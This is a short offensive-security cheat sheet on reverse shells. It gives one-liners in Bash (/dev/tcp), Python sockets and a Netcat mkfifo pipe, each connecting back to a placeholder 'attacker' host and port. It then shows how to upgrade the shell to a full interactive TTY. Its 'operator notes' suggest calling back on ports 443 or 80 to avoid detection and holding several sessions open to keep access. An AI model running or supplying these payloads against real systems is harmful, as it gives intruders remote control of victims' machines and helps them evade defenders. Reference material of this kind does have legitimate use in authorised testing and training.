Shell magic

Shells are the mechanism that convert a vulnerability into interactive access. Understanding shells is essential for maintaining effective access throughout an operation.

Execution examples

Common reverse shell one-liners

Bash:

bash -i >& /dev/tcp/attacker/port 0>&1

Python:

python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("attacker",port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Netcat (without -e):

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker port >/tmp/f

Spawning TTY

If Python is present on the target machine, the first method below is very reliable. Otherwise, the other options are worth trying but don't always work.

python -c "import pty; pty.spawn('/bin/bash')"

Be sure to check for other versions of Python!

echo os.system('/bin/bash')

/bin/sh -i

Tab auto completion

The following commands will give tab autocompletion, but other features such as SIGINT, history, and clear screen will not work.

CTRL + Z (background the session)
stty raw -echo 
fg
reset

Upgrading to a fully interactive TTY

A basic reverse shell lacks tab completion, command history, and proper signal handling. Upgrading to a full interactive TTY resolves these limitations:

# Spawn a PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Background the shell
# Press Ctrl+Z

# Configure local terminal
stty raw -echo; fg

# Set environment
export TERM=xterm
export SHELL=/bin/bash
stty rows ROWS cols COLS

This upgrade is important because many tools and commands behave differently or fail entirely in non-interactive shells.

Common mistakes

• Not upgrading shells before attempting more complex commands

• Not having a listener ready before triggering a payload

• Using ports that are blocked by firewall rules

Operator notes

• Opt for a full interactive TTY as soon as possible after obtaining a shell

• Use port 443 or 80 for callbacks when possible, as these are less likely to be blocked or detected

• Maintain multiple shell sessions when possible to avoid losing access to a single failure